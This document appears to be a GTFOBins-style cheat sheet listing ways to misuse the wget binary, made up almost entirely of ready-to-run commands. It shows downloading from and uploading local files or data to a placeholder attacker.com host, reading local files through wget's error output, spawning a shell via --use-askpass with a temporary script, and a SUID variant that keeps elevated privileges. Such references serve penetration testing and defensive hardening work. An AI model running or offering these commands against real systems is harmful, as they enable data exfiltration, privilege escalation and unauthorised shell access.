wget

Download

wget http://attacker.com/path/to/input-file -O /path/to/output-file

File Read

The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.

wget -i /path/to/input-file

File Write

The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.

wget -i /path/to/input-file -o /path/to/output-file

Shell

echo -e '#!/bin/sh\n/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
wget --use-askpass=/path/to/temp-file 0

SUID override:

echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
wget --use-askpass=/path/to/temp-file 0

Upload

wget --post-file=/path/to/input-file http://attacker.com

wget --post-data=DATA http://attacker.com